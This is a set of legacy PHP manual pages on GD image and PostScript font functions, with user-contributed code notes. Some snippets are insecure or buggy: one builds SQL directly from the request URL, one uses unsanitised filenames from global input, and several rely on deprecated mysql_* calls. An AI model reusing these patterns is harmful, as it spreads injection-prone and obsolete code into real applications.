                // Once we reached the coordinates matching the current record selected from the DB:
                if ($row['x'] == $x AND $row['y'] == $y) {

                    // Selecting the village color depending on the aid
                    if ($row['aid'] == $marked_aid) {
                        $color = $color_marked;
                    } else {
                        $color = $color_normal;
                    }

                    // Drawing the village with the selected color
                    imagefilledrectangle($image, $x_pointer, $y_pointer, ($x_pointer + 1), ($y_pointer + 1), $color);

                    // Select next record
                    $row = @mysql_fetch_assoc($result);
                }

                // Increase pointer for X-coordinate
                $x_pointer++;
            }

            // Increase pointer for Y-coordinate
            $y_pointer++;

            // We reached the end of a line and have to set the X-pointer to 0 again
            $x_pointer = 0;
        }
    }

    // Select the HTTP-Header for the selected filetype
    header("Content-Type: image/png");

    // Generate image and print it
    imagepng($image);

?>
luxian.m [at] gmail [dot] com 16-Sep-2008 10:46
If you want to open a png image with alpha blending, you need to do something like this:

<?php
$file = 'semitransparent.png'; // path to png image
$img = imagecreatefrompng($file); // open image
imagealphablending($img, true); // setting alpha blending on
imagesavealpha($img, true); // save alphablending setting (important)
?>

I spent almost a day to find out why alpha blending doesn't work. I hope this is usefull to others too :)
vicrry at yahoo dot com 18-Apr-2008 01:16
@ phpman at texmedia dot de:

The compression range in PNG is in range 0-9, i think if you specified a compression level higher than 9, it'll be completely "compressed", or suppressed in the other words.

The compression level is originally for JPEG, which is in range 0 - 100, I think it'll work fine if you divide it by ten before passing to imagepng(). ;)
Jeff Sauro 14-Nov-2007 12:39
My webserver, running 5.14 didn't like the header that was generated using imagepng(). It works find on my local test server and on 4.x from another host.

The generated image displays in the browser (IE, firefox) but when saved to a file or inserted into an RTF file, the image was corrupted. As a test, when attempting to right-click to save as, the image format was not recognized.

The only work-around appears to be adding the additional paramaters.

So instead of just
imagepng($image); //DIDNT WORK--CORUPT IMAGE

This worked
imagepng($image,NULL,0,NULL);

and saving to disk, this worked:
imagepng($image,$file_location,0,NULL);

Jeff
phpman at texmedia dot de 27-Oct-2007 11:06
When changeing the PHP version from 4 to 5 I found out, that PHP5 handles imagepng() more restrictive than in PHP4. I'd used

imagepng($image,'',90);

to reduce the image quality whithout saving the image as a file. The quality parameter is not supported at all, I used imagejpg before and simply changed the function to imagepng whithout taking care of the existing parameters. It did not matter and there was no error in PHP4. But in PHP5, the image will not be shown anymore. So you have to remove it to have the standard:

imagepng($image);
alex at gateway-productions dot com 09-Jan-2007 12:17
barts code below does not work at least with gd 2

Only returns a blank image with alpha not the source resized

        $im = ImageCreateFromPNG($sourcefile);
        $im_dest = imagecreatetruecolor ($forcedwidth, $forcedheight);
        imagealphablending($im_dest, false);
        imagecopyresampled($im_dest, $im, 0, 0, 0, 0, $wm_width, $wm_height, $forcedwidth, $forcedheight);
        imagesavealpha($im_dest, true);
        imagepng($im_dest, $destfile);
        imagedestroy($img_dest);

ps you also forgot image destroy and you had a random var in imagepng undefined in your post
bart at resolume dot com 06-Apr-2006 05:54
If you want to resize a png-24 image and preserve the alpha channel you need to set imagealphablending($im_dest, false) on the destination image just after creating it with imagecreatetruecolor() and do a imagesavealpha($im_dest, true) on it before saving it:

<?php

$im = ImageCreateFromPNG('redfade.png');

$im_dest = imagecreatetruecolor (500, 300);
imagealphablending($im_dest, false);

imagecopyresampled($im_dest, $im, 0, 0, 0, 0, 300, 300, 500, 300);

imagesavealpha($im_dest, true);
imagepng($im_re, 'small_redfade.png');

?>
adrenalin at NOSPAM dot myrealbox dot com 27-Dec-2005 04:22
Trying to resize a png 256 colors image and save it in 256 colors with a correct color palette ? (if you'll save a 256 color image in truecolor palette the result image will have a big size).
I spent some hours trying various function to get a good quality 256 color png image, but because of color palette the result image quality was awful.
But thank to the comment of zmorris at zsculpt dot com from imagetruecolortopalette function page, i figured out how to get a properly image!

<?php
function resize_png($src,$dst,$dstw,$dsth) {
    list($width, $height, $type, $attr) = getimagesize($src);
    $im = imagecreatefrompng($src);
    $tim = imagecreatetruecolor($dstw,$dsth);
    imagecopyresampled($tim,$im,0,0,0,0,$dstw,$dsth,$width,$height);
    $tim = ImageTrueColorToPalette2($tim,false,255);
    imagepng($tim,$dst);
}
//zmorris at zsculpt dot com function, a bit completed
function ImageTrueColorToPalette2($image, $dither, $ncolors) {
    $width = imagesx( $image );
    $height = imagesy( $image );
    $colors_handle = ImageCreateTrueColor( $width, $height );
    ImageCopyMerge( $colors_handle, $image, 0, 0, 0, 0, $width, $height, 100 );
    ImageTrueColorToPalette( $image, $dither, $ncolors );
    ImageColorMatch( $colors_handle, $image );
    ImageDestroy($colors_handle);
    return $image;
}
?>

Good luck,
Namolovan Nicolae, Moldova
awalton at gmail dot com 24-Dec-2005 10:17
PNG images (as any image) can be stored in a MySQL blob field, but if you want to do this, you'll want to serialize the image stream into a better form. I would recommend base64_encode() and base64_decode(). (Just fopen() the file, fread() the contents in, base64_encode() the string, and fire off your SQL query (use addslashes()/stripslashes() to be more secure)).

This has been posted an innumerable amount of times throughout the site, but it's still terrible that a lot of users simply don't understand this and use it to its full potential.

I would also recommend that if you are doing images this way, to keep an image cache folder somewhere that PHP can access (possibly even somewhere off your webroot?). That way if your website is swamped with traffic it won't kill the SQL server.
vladson at pc-labs dot info 04-Jul-2005 05:00
To send 'Content-Length' header (like in static pictures case) i use "Output handler" like this...
<?php
//    Output handler
function output_handler($img) {
    header('Content-type: image/png');
    header('Content-Length: ' . strlen($img));
    return $img;
}

//    Image output
ob_start("output_handler");
imagepng($im);
ob_end_flush();
?>
neburk0rk at gmail dot com 20-May-2005 08:50
This is my way to store PNG-images in a MySQL database... You cannot directly store the PNG-image in a variable, and then parse it in the database, cos if you try to define it to a variable, it'll still just output it...
In my method i use three functions
 to "capture" the output and store it in a variable; ob_start (to start the output buffering),    ob_get_contents  (to capture the output),    and  ob_end_clean (to erase the cache, and end the output buffering)

<?php
$imagefile = "changethistogourimage.gif";

$image = imagecreatefromgif($imagefile);
ob_start();
imagepng($image);
$imagevariable = ob_get_contents();
ob_end_clean();

/*
HERE YOU CAN MESS WITH THE $imagevariable AS YOU LIKE
*/
?>
php at no dot spam dot prosa dot net 04-May-2005 04:40
You could use the function imagecreatefrompng

(I assume that you already know how to get the text from the url.)

The only thing left to do is put that text on the image using the correct colors for you.

<?php

$im = @imagecreatefrompng($imgname);

$text_color = imagecolorallocate ($im, $Red,$Green,$Blue);

imagestring ($im, 3,  5, 15,  $SomeTextFromURL, $text_color);

?>

Regards,
Peter Berkhout.
dws at mrao dot cam dot ac dot uk 22-Jan-2005 11:03
Presumably it returns true on success and false on failure, although the documentation doesn't actually say so.
pm at dontspamme dot pietmarcus dot com 23-Aug-2004 10:43
in reply to: cbrasho at yahoo dot com

if you use Apache as a webserver, you could do the following:

You could set up a 'img' directory in your webspace.
In that directory there will be two files: a .htaccess file and a img.php file
the .htaccess file contains the following code:
ErrorDocument 404 /img/img.php

the img.php file looks something like this:

<?php
  $file = $_SERVER['REDIRECT_URL'];

  $result = mysql_query('select img_blob from images where filename=\\'' . $file . '\\');
  list($blob) = mysql_fetch_row($result);

  header('HTTP/1.0 200 Ok');
  header("Content-type: image/jpeg");

  print $blob; # or whatever works, I don't use this
?>

if you use a url for your image like http://test.com/img/image1.jpeg, which doesn't exist, normally you would get a 404-page. in this case, the 404 is being handled by img.php, which brings up the required image...
cbrasho at yahoo dot com 17-Aug-2004 04:49
Having your pictures stored in a database sounds great but brings you a lot of trouble.
Storing images in a DB you will have a script show.php that will appear in <img> tags: <img src='show.php?img_id=$some_id'>
But if you want to have REGISTER GLOBALS = OFF, you are in trouble and there is no way (at leas as far as i know) to solve the problem but to put te img from the DB in a file and put the coresponding file name in the <img> tag. But this brings another problem: simultaneous accesses to the page. So you will have to find a way to give unique names to the picture files for each simultaneous access to the page. The solution might be using sessions. This is how you end up having a very compleh PHP script for a very simple problem. So, the basic ideea is " do not store your pictures in a blob unless you know exactly what you are doing".
mail at stefanbechtold dot de 17-Apr-2003 03:14
to all the ones, who like having their users fill their profil with an image without destroying a fixed design the following should be a great way to handle this problem.

this file opens a picture from $imagepath and returns it as a valid picture to embed in: <img src="file.php?image=123.jpg[?maxX=200&maxY=150]"> (in [] = optional)

but this file does more than this. it also adds black borders to files that are smaller than the max. size, so adding borders to the left and right where a image is too high :-)

if there is a need for a copyright note this script will also help you. you can put in a various text to $copyright. the text length should be in relationship to $maxX and $maxY.

Well there are other features of the script, just try'em out and have fun with it :-)

bye

<?php

# standard height & weight if not given
if(!isset($maxX)) $maxX = 100;
if(!isset($maxY)) $maxY = 75;

# colour- & textvalues
$picBG = "0,0,0"; # RGB-value !
$picFG = "104,104,104"; # RGB-value !
$copyright = "stefan bechtold";
$font = 1;

# minimal & maximum zoom
$minZoom = 1; # per cent related on orginal (!=0)
$maxZoom = 200; # per cent related on orginal (!=0)

# paths
$imgpath = "userimages/"; # ending with "/" !
$nopicurl = "../images/nopic.jpg"; # starting in $imagepath!!!
$nofileurl = "../images/nofile.jpg"; # starting in $imagepath!!!

if(!isset($image) || empty($image))
    $imageurl = $imgpath . $nopicurl;
elseif(! file_exists($imgpath . trim($image)))
    $imageurl = $imgpath . $nofileurl;
else
    $imageurl = $imgpath . trim($image);

# reading image
$image = getImageSize($imageurl, $info); # $info, only to handle problems with earlier php versions...
switch($image[2]) {
      case 1:
       # GIF image
        $timg = imageCreateFromGIF($imageurl);
        break;
    case 2:
       # JPEG image
        $timg = imageCreateFromJPEG($imageurl);
        break;
    case 3:
       # PNG image
        $timg = imageCreateFromPNG($imageurl);
        break;
}

# reading image sizes
$imgX = $image[0];
$imgY = $image[1];

# calculation zoom factor
$_X = $imgX/$maxX * 100;
$_Y = $imgY/$maxY * 100;

# selecting correct zoom factor, so that the image always keeps in the given format
# no matter if it is more higher than wider or the other way around
if((100-$_X) < (100-$_Y)) $_K = $_X;
else $_K = $_Y;

# zoom check to the original
if($_K > 10000/$minZoom) $_K = 10000/$minZoom;
if($_K < 10000/$maxZoom) $_K = 10000/$maxZoom;

# calculate new image sizes
$newX = $imgX/$_K * 100;
$newY = $imgY/$_K * 100;

# set start positoin of the image
# always centered
$posX = ($maxX-$newX) / 2;
$posY = ($maxY-$newY) / 2;

# creating new image with given sizes
$imgh = imageCreateTrueColor($maxX, $maxY);

# setting colours
$cols = explode(",", $picBG);
$bgcol = imageColorallocate($imgh, trim($cols[0]), trim($cols[1]), trim($cols[2]));
$cols = explode(",", $picFG);
$fgcol = imageColorallocate($imgh, trim($cols[0]), trim($cols[1]), trim($cols[2]));

# fill background
imageFill($imgh, 0, 0, $bgcol);

# create small copy of the image
imageCopyResampled($imgh, $timg, $posX, $posY, 0, 0, $newX, $newY, $image[0], $image[1]);

# writing copyright note
imageStringUp($imgh, $font, $maxX-9, $maxY-3, $copyright, $fgcol);

# output
switch($image[2]) {
      case 1:
    # GIF image
        header("Content-type: image/gif");
        imageGIF($imgh);
    case 2:
    # JPEG image
        header("Content-type: image/jpeg");
        imageJPEG($imgh);
    case 3:
    # PNG image
        header("Content-type: image/png");
        imagePNG($imgh);
}

# cleaning cache
imageDestroy($timg);
imageDestroy($imgh);

?>
23-Jan-2003 07:20
"Tip: As with anything that outputs its result directly to the browser, you can use the output-control functions (http://www.php.net/manual/en/ref.outcontrol.php) to capture the output of this function, and save it in a string (for example)."

ob_start();
imagepng($image);
$image_data = ob_get_contents();
ob_end_clean();

And now you can save $image_data to a database, for example, instead of first writing it to file and then reading the data from it. Just don't forget to use mysql_escape_string...
johnbeech at mkv25.net 20-Jan-2003 01:41
PNG files are already compressed. They use a lossless compression algorithm. If you are using HighColour images, the compression only does so much. For low colour images (16 or 256) the compression is much better.

It is pointless trying to compress the images further before sending to a browser.
bgd1977 at hotmail dot com 26-Jul-2002 03:37
I have experienced segfaults and bus errors with the following configuration: FreeBSD4.4, Apache 1.3.26, PHP 4.2.2, GD-1.8.4, PDFlib 4.0.1. The apache process crashed when calling the imagepng function, but it didn't crash when calling the imagejpg function, or imagecreatefrompng...

 Some wasted hours (lots) later, in which I have tried to recompile gd, libpng, php, libjpeg, what-not, I have found the following advices:
http://bugs.php.net/bug.php?id=16841

 So the problem was not with the png library, but rather with the PDFlib. Even though all the threads led to a png-problem... so I have simply upgraded to PDFlib 4.0.3 (w/o any special configure arguments; --with-libpng didn't work anyways), recompiled PHP, and now everything works (imagepng, pdf creation, etc.).

 Hope this helps,
 bogdan
ruelle at xtof dot com 17-Feb-2002 03:34
Better than a chmod 777 to any '/dir/pic.png' you should :
- test if dir is writable (is_writable func.)
- use chmod 700 (more secure because let only the webserver ID have access)

In any case you should program a (crontab) script to change the owner ID of any images created.


Draws a polygon

  • « imagepng
  • imagepsbbox »
  • PHP Manual
  • GD and Image Functions
  • Draws a polygon

imagepolygon

(PHP 4, PHP 5)

imagepolygon — Draws a polygon

Description

bool imagepolygon ( resource $image , array $points , int $num_points , int $color )

imagepolygon() creates a polygon in the given image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

points

An array containing the polygon's vertices, e.g.:

points[0] | = x0
points[1] | = y0
points[2] | = x1
points[3] | = y1

num_points

Total number of points (vertices).

color

A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagepolygon() example

<?php
// Create a blank image
$image = imagecreatetruecolor(400, 300);

// Allocate a color for the polygon
$col_poly = imagecolorallocate($image, 255, 255, 255);

// Draw the polygon
imagepolygon($image, array(
        0,   0,
        100, 200,
        300, 200
    ),
    3,
    $col_poly);

// Output the picture to the browser
header('Content-type: image/png');

imagepng($image);
imagedestroy($image);
?>

The above example will output something similar to:

Output of example : imagepolygon()

See Also

  • imagecreate() - Create a new palette based image
  • imagecreatetruecolor() - Create a new true color image

User Contributed Notes

licson0729 at gmail dot com 23-May-2012 08:21
Here's a function to draw a n-sided star:

<?php
function drawStar($img,$x,$y,$radius,$sides,$color,$spikness=0.5)
{
    $point =array();
    $t = 0;
    for($a = 0;$a <= 360;$a += 360/($sides*2))
    {
        $t++;
        if($t % 2 == 0)
        {
            $point[] = $x + ($radius * $spikness) * cos(deg2rad($a));
            $point[] = $y + ($radius * $spikness) * sin(deg2rad($a));
        }else{
            $point[] = $x + $radius * cos(deg2rad($a));
            $point[] = $y + $radius * sin(deg2rad($a));
        }
    }
    return imagepolygon($img,$point,$sides*2,$color);
}
?>
licson0729 at gmail dot com 21-May-2012 07:39
Function to draw a n-sided regular polygon

<?php
$img = imagecreatetruecolor(1360,768);

function regularPolygon($img,$x,$y,$radius,$sides,$color)
{
    $points = array();
    for($a = 0;$a <= 360; $a += 360/$sides)
    {
        $points[] = $x + $radius * cos(deg2rad($a));
        $points[] = $y + $radius * sin(deg2rad($a));
    }
    return imagepolygon($img,$points,$sides,$color);
}

regularPolygon($img,1360/2,768/2,300,8,0xffffff);//Test draw

header('Content-type: image/png');
imagepng($img);
imagedestroy($img);
?>
tatlar at yahoo dot com 12-Sep-2006 01:48
Function to get 5-sided polygon (pentagon) or star (pentagram) co-ords.
<?php
function _makeFiveSidedStar( $x, $y, $radius, $shape='polygon', $spiky=NULL ) {
    $point = array() ; // new array
    $angle = 360 / 5 ;
    $point[0]['x'] = $x ;
    $point[0]['y'] = $y - $radius ;
    $point[2]['x'] = $x + ( $radius * cos( deg2rad( 90 - $angle ) ) ) ;
    $point[2]['y'] = $y - ( $radius * sin( deg2rad( 90 - $angle ) ) ) ;
    $point[4]['x'] = $x + ( $radius * sin( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[4]['y'] = $y + ( $radius * cos( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[6]['x'] = $x - ( $radius * sin( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[6]['y'] = $y + ( $radius * cos( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[8]['x'] = $x - ( $radius * cos( deg2rad( 90 - $angle ) ) ) ;
    $point[8]['y'] = $y - ( $radius * sin( deg2rad( 90 - $angle ) ) ) ;
    if( $shape == 'star' ) {
        if( $spiky == NULL ) $spiky = 0.5 ;  // degree of spikiness, default to 0.5
        $indent = $radius * $spiky ;
        $point[1]['x'] = $x + ( $indent * cos( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[1]['y'] = $y - ( $indent * sin( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[3]['x'] = $x + ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[3]['y'] = $y - ( $indent * cos( deg2rad( 180 - $angle ) ) ) ;
        $point[5]['x'] = $x ;
        $point[5]['y'] = $y + ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[7]['x'] = $x - ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[7]['y'] = $y - ( $indent * cos( deg2rad( 180 - $angle ) ) ) ;
        $point[9]['x'] = $x - ( $indent * cos( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[9]['y'] = $y - ( $indent * sin( deg2rad( 90 - $angle/2 ) ) ) ;
    }
    ksort( $point ) ;
    $coords = array() ;  // new array
    foreach( $point as $pKey=>$pVal ) {
        if( is_array( $pVal ) ) {
            foreach( $pVal as $pSubKey=>$pSubVal ) {
                if( !empty( $pSubVal ) ) array_push( $coords, $pSubVal ) ;
            }
        }
    }
    return $coords ;
}
$values = _makeFiveSidedStar( 100, 100, 50, 'star' ) ;
?>
glowell at flash dot net 18-Nov-2005 12:43
Something to be aware of, ImagePolygon appears to convert the array of points passed to it from whatever format they may have been in originally into integers. This means if you pass it an array of floats (after running a rotation routine for example) the floats will be changed to integers INSIDE THE ORIGINAL ARRAY.

An extreme example: if for some reason you had an unit-sized polygon pt-array ( -1<x|y<1 for easy scaling purpose for instance) and for some reason your code calls imagepolygon on it (why? it'd only be a dot anyway) the array would be unusable after that (all either 1s, 0s or -1s). Scaling a unit-sized array, drawing it and then scaling it again will also may have a different result than expected.

Obviously, if the array in its original state is important to your code, it should use a copy of the original array for this call. If your code draws the same polygon multiple times but resizes it for different cases, you should have each size be created off an original template rather than adjusting a single polygon array.
jsnell at networkninja dot com 18-Feb-2001 04:07
Here are some handy routines for rotation and translation of polygons.  Scaling could be added easily as well.

<?php
function translate_point(&$x,&$y,$angle,$about_x,$about_y,$shift_x,$shift_y)
{
    $x -= $about_x;
    $y -= $about_y;
    $angle = ($angle / 180) * M_PI;
/* math:
[x2,y2] = [x,  *  [[cos(a),-sin(a)],
           y]      [sin(a),cos(a)]]
==>
x = x * cos(a) + y*sin(a)
y = x*-sin(a) + y*cos(a)
*/

    $new_x = $x * cos($angle) - $y * sin($angle);
    $new_y = $x * sin($angle) + $y * cos($angle);
    $x = $new_x+ $about_x + $shift_x ;
    $y = $new_y + $about_y + $shift_y;
}

function translate_poly($point_array, $angle, $about_x, $about_y,$shift_x,$shift_y)
{
    $translated_poly = Array();
    while(count($point_array) > 1)
    {
        $temp_x = array_shift($point_array);
        $temp_y = array_shift($point_array);
        translate_point($temp_x, $temp_y, $angle, $about_x, $about_y,$shift_x, $shift_y);
        array_push($translated_poly, $temp_x);
        array_push($translated_poly, $temp_y);
    }
    return $translated_poly;
}
?>


Give the bounding box of a text rectangle using PostScript Type1 fonts

  • « imagepolygon
  • imagepsencodefont »
  • PHP Manual
  • GD and Image Functions
  • Give the bounding box of a text rectangle using PostScript Type1 fonts

imagepsbbox

(PHP 4, PHP 5)

imagepsbbox — Give the bounding box of a text rectangle using PostScript Type1 fonts

Description

array imagepsbbox ( string $text , resource $font , int $size )
array imagepsbbox ( string $text , resource $font , int $size , int $space , int $tightness , float $angle )

Gives the bounding box of a text rectangle using PostScript Type1 fonts.

The bounding box is calculated using information available from character metrics, and unfortunately tends to differ slightly from the results achieved by actually rasterizing the text. If the angle is 0 degrees, you can expect the text to need 1 pixel more to every direction.

Parameters

text

The text to be written.

font_index

A font resource, returned by imagepsloadfont().

size

size is expressed in pixels.

space

Allows you to change the default value of a space in a font. This amount is added to the normal value and can also be negative. Expressed in character space units, where 1 unit is 1/1000th of an em-square.

tightness

tightness allows you to control the amount of white space between characters. This amount is added to the normal character width and can also be negative. Expressed in character space units, where 1 unit is 1/1000th of an em-square.

angle

angle is in degrees.

Return Values

Returns an array containing the following elements:

0 | left x-coordinate
1 | upper y-coordinate
2 | right x-coordinate
3 | lower y-coordinate

Examples

Example #1 imagepsbbox() usage

<?php
// Create image handle
$im = imagecreatetruecolor(200, 200);

// Allocate colors
$black = imagecolorallocate($im, 0, 0, 0);
$white = imagecolorallocate($im, 255, 255, 255);

// Load the PostScript Font
$font = imagepsloadfont('font.pfm');

// Make a bounding box for the font
$bbox = imagepsbbox('Sample text is simple', $font, 12);

// Define our X and Y cordinates
$x = ($bbox[2] / 2) - 10;
$y = ($bbox[3] / 2) - 10;

// Write the font to the image
imagepstext($im, 'Sample text is simple', $font, 12, $black, $white, $x, $y);

// Output and free memory
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
?>

Notes

Note: This function is only available if PHP is compiled using --with-t1lib[=DIR] .

See Also

  • imagepstext() - Draws a text over an image using PostScript Type1 fonts

User Contributed Notes

eikie 05-May-2008 06:32
in my code below, there is an error!

replace
$w += abs($bb[3])-abs($bb[1]); // accumulate width

with
$w += abs($bb[2])-abs($bb[0]); // accumulate width

also after
$bb = imagepsbbox($c, $font, $size); // calculate width

you can add this line because spaces make odd values...
if ($c == ' ' ) $bb = imagepsbbox('i', $font, $size);
eikie 05-May-2008 05:34
I have a given image width and need to render a long string on that image. By using the following function I'm, able to get an array of strings which each will fit into the images width. It might need a lot of CPU time, but it's cool:

// Function to return an Array of Strings
// Arguments: String to be wrapped, maximum width in pixels of each line, font and fontsize
function imgwordwrap($s, $maxWidth, $font, $size) {
  // Make an empty ArrayList
  $a = array();
  $w = 0;    // Accumulate width of chars
  $i = 0;      // Count through chars
  $rememberSpace = 0; // Remember where the last space was
  // As long as we are not at the end of the String
  while ($i < strlen($s)) {
    // Current char
    $c = substr($s, $i, 1);
    $bb = imagepsbbox($c, $font, $size); // calculate width
    $w += abs($bb[3])-abs($bb[1]); // accumulate width
    if ($c == ' ') $rememberSpace = $i; // Are we a blank space?
    if ($w > $maxWidth) {  // Have we reached the end of a line?
      $sub = substr($s,0,$rememberSpace); // Make a substring
            // Chop off space at beginning
            if (substr($sub,0,1)==' ') $sub = substr($sub,1);
      // Add substring to the array
      $a[] = $sub;
      // Reset everything
      $s = substr($s,$rememberSpace);
      $i = 0;
      $w = 0;
    }
    else {
      $i++;  // Keep going!
    }
  }

  // Take care of the last remaining line
  trim($s);
  if (substr($s,0,1)==' ') $s = substr($s,1);
  $a[] = $s;

  return $a;
}
honza dot bartos at gmail dot com 23-Oct-2006 11:25
When using imagepsbbox, keep in mind, that meaning of y-coordinates is slightly different here. Y-coordinates returned by this function are related to the baseline of the text starting at point [0,0]. Positive values represent points ABOVE the baseline, negative values represent points BELOW the baseline. That is why the lower left y-coordinate is always smaller here than the upper right y-coordinate (these two coordinates are actualy values of metrics.descent and metrics.ascent - see T1Lib docs).

So when you want to place some text using coordinates of the top left corner (for example [100,100]), use this:

<?php

$x = 100;
$y = 100;
$text = "Dodge this";
$fontsize=18;
$font=imagepsloadfont("somefont.pfb");
list($lx,$ly,$rx,$ry) = imagepsbbox($text,$font,$fontsize);
imagepstext ($someimage, $text, $font, $fontsize, $somecolor, $somecolor, $x, $y + $ry);

?>

Hope it helps someone, I got stuck with this for a while.
daniel at dantec dot NO_SPAM dot nl 18-Apr-2002 06:23
When using imagepsbbox, you are probably trying to do something like creating a button with text, so that the button is large enough for the text...
Below is a very simple example of making a black button just big enough to display white text on it.

<?php

//if text is no variable set sample text
if (!$text)
    $text = "This is a sample text";

// set the font size
$fontsize=14;

// load the font to use
$font=ImagePsLoadFont("/fonts/ariam___.pfb");

//get the left lower corner and the right upper
list($lx,$ly,$rx,$ry) = imagepsbbox($text,$font,$fontsize,0,0,0);

// calculate the size of the text
$textwidth = $rx - $lx;
$textheight = $ry - $ly;

// make an image 40 pixels wider and 20 pixels higher than the text
$imh = $textheight + 20;
$imw = $textwidth + 40;
$im = imageCreate( $imw, $imh );

//define colors, first color is used as background color!
$black  = ImageColorAllocate ($im, 0, 0, 0);
$white = ImageColorAllocate ($im, 255, 255, 255);

//create the text (with the same parameters as imagepsbbox!)
ImagePSText ($im, "$text", $font, $fontsize, $white, $white, 20, 20,'','','',4);

//send the header
header("Content-type: image/jpeg");

// create the image
ImageJPEG ($im,"",100);

//destroy the image & font to free memory
Imagepsfreefont ( $font );
ImageDestroy ( $im );

?>


Change the character encoding vector of a font

  • « imagepsbbox
  • imagepsextendfont »
  • PHP Manual
  • GD and Image Functions
  • Change the character encoding vector of a font

imagepsencodefont

(PHP 4, PHP 5)

imagepsencodefont — Change the character encoding vector of a font

Description

bool imagepsencodefont ( resource $font_index , string $encodingfile )

Loads a character encoding vector from a file and changes the fonts encoding vector to it. As a PostScript fonts default vector lacks most of the character positions above 127, you'll definitely want to change this if you use a language other than English.

If you find yourself using this function all the time, a much better way to define the encoding is to set ps.default_encoding in the configuration file to point to the right encoding file and all fonts you load will automatically have the right encoding.

Parameters

font_index

A font resource, returned by imagepsloadfont().

encodingfile

The exact format of this file is described in T1libs documentation. T1lib comes with two ready-to-use files, IsoLatin1.enc and IsoLatin2.enc.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagepsencodefont() example

<?php
// Load a .pfb font file
$font = imagepsloadfont('./px3l.pfb');

// Tell T1lib to use ISO Latin 1 encoding
imagepsencode($font, './IsoLatin1.enc');

// Do any operations with the font here

// Free the font from memory
imagepsfreefont($font);
?>

Notes

Note: This function is only available if PHP is compiled using --with-t1lib[=DIR] .

User Contributed Notes

Scott Hanson 15-Jul-2003 02:15
The t1lib-5.0.0 source includes 5 different encoding files under Fonts/enc/. For my text with German umlauts, using IsoLatin1.enc did not work, but PSLatin1.enc did the trick.
alex_marquarth at yahoo dot de 24-Oct-2002 10:41
Because I have had problems with this function to find out that there is no result to store in a variable, a short example how to use:

$font = imagepsloadfont( "/home/www/font/Arial.pfb" );
imagepsencodefont( $font, "/home/www/font/IsoLatin1.enc" );

afterwards you can use the resource $font in each other ps function like imagepstext() or imagepsbbox().


Extend or condense a font

  • « imagepsencodefont
  • imagepsfreefont »
  • PHP Manual
  • GD and Image Functions
  • Extend or condense a font

imagepsextendfont

(PHP 4, PHP 5)

imagepsextendfont — Extend or condense a font

Description

bool imagepsextendfont ( resource $font_index , float $extend )

Extend or condense a font (font_index), if the value of the extend parameter is less than one you will be condensing the font.

Parameters

font_index

A font resource, returned by imagepsloadfont().

extend

Extension value, must be greater than 0.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagepsextendfont() example

<?php
// Load a .pfb font file
$font = imagepsloadfont('./px3l.pfb');

// Extend the font by 2.5
imagepsextendfont($font, 2.5);

// Do any operations with the font here

// Free the font from memory
imagepsfreefont($font);
?>

Notes

Note: This function is only available if PHP is compiled using --with-t1lib[=DIR] .

User Contributed Notes

admin at studio-gepard dot pl 03-Dec-2009 11:17
It is impossible to use this function with a TrueType (.ttf) fonts.You need to convert font to PostScript Type1 (.pfb) on your own (google - there are free converters too)
Pascal@TeamX 21-May-2003 12:28
Just for the less experienced PHP-Hackers, like me ;-) �

header("Content-type: image/png");
$text = "hello world";
$val = 1.2;
$font = imagepsloadfont(" path to font ");
$im = imagecreate(200, 200);
$color_bg = imagecolorallocate($im, 255, 255, 255);
$color_font = imagecolorallocate($im, 0, 0, 0);
imagefill($im, 0, 0, $color_font);

imagepsextendfont($font, $val);

$bound = imagepstext($im, $text, $font, 25, $color_bg, $color_font, 10, 100, 0, 0, 0, 4);
imagepng($im);
imagedestroy($im);


Free memory used by a PostScript Type 1 font

  • « imagepsextendfont
  • imagepsloadfont »
  • PHP Manual
  • GD and Image Functions
  • Free memory used by a PostScript Type 1 font

imagepsfreefont

(PHP 4, PHP 5)

imagepsfreefont — Free memory used by a PostScript Type 1 font

Description

bool imagepsfreefont ( resource $font_index )

imagepsfreefont() frees memory used by a PostScript Type 1 font.

Parameters

font_index

A font resource, returned by imagepsloadfont().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagepsfreefont() example

<?php
// Load a .pfb font file
$font = imagepsloadfont('./bchbi.pfb');

// Do any operations with the font here

// Free the font from memory
imagepsfreefont($font);
?>

Notes

Note: This function is only available if PHP is compiled using --with-t1lib[=DIR] .

See Also

  • imagepsloadfont() - Load a PostScript Type 1 font from file

User Contributed Notes

There are no user contributed notes for this page.


Load a PostScript Type 1 font from file

  • « imagepsfreefont
  • imagepsslantfont »
  • PHP Manual
  • GD and Image Functions
  • Load a PostScript Type 1 font from file

imagepsloadfont

(PHP 4, PHP 5)

imagepsloadfont — Load a PostScript Type 1 font from file

Description

resource imagepsloadfont ( string $filename )

Load a PostScript Type 1 font from the given filename.

Parameters

filename

Path to the Postscript font file.

Return Values

In the case everything went right, a valid font index will be returned and can be used for further purposes. Otherwise the function returns FALSE.

Examples

Example #1 imagepsloadfont() example

<?php
// Create a new image instance
$im = imagecreatetruecolor(350, 45);

// Allocate colors and fill the background
$black = imagecolorallocate($im, 0, 0, 0);
$white = imagecolorallocate($im, 255, 255, 255);
imagefilledrectangle($im, 0, 0, 349, 44, $white);

// Load a font, write to the image and free the font from memory
$font = imagepsloadfont("bchbi.pfb");
imagepstext($im, "Testing... It worked!", $font, 32, $white, $black, 32, 32);
imagepsfreefont($font);

// Output the image
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
?>

Notes

Note: This function is only available if PHP is compiled using --with-t1lib[=DIR] .

See Also

  • imagepsfreefont() - Free memory used by a PostScript Type 1 font

User Contributed Notes

There are no user contributed notes for this page.


Slant a font

  • « imagepsloadfont
  • imagepstext »
  • PHP Manual
  • GD and Image Functions
  • Slant a font

